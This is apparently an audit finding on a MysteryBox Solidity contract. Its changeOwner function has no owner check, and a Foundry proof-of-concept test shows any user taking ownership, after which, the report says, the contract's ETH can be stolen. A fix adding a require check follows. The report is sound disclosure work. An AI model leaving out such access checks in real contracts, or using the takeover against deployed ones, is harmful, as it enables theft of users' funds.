Summary
Every user can change the owner of the contract to any address.
Vulnerability Details
There is no msg.sender==owner
check in MysteryBox__changeOwner(address)
function, therefore anyone can call it and change the owner.
Impact
The attacker can change the owner and steal all ETH from the contract.
Tools Used
Run the following foundry
test
pragma solidity ^0.8.0;
import {console2} from "forge-std/Test.sol";
import "forge-std/Test.sol";
import "../src/MysteryBox.sol";
contract TestMysteryBox is Test {
MysteryBox public mysteryBox;
address public owner = makeAddr("owner");
address public user1 = address(0x1);
address public user2 = address(0x2);
function setUp() public {
vm.deal(owner, 1 ether);
vm.deal(user1, 1 ether);
vm.deal(user2, 1 ether);
vm.prank(owner);
mysteryBox = new MysteryBox{value: 0.1 ether}();
}
function testNotOwnerCanChangeTheOwner() public {
vm.prank(user1);
mysteryBox.changeOwner(user2);
assertEq(mysteryBox.owner(), user2);
}
}
Recommendations
Add the following line to MysteryBox__changeOwner(address)
function:
function changeOwner(address _newOwner) public {
+ require(msg.sender == owner, "Only owner can change the owner");
owner = _newOwner;
}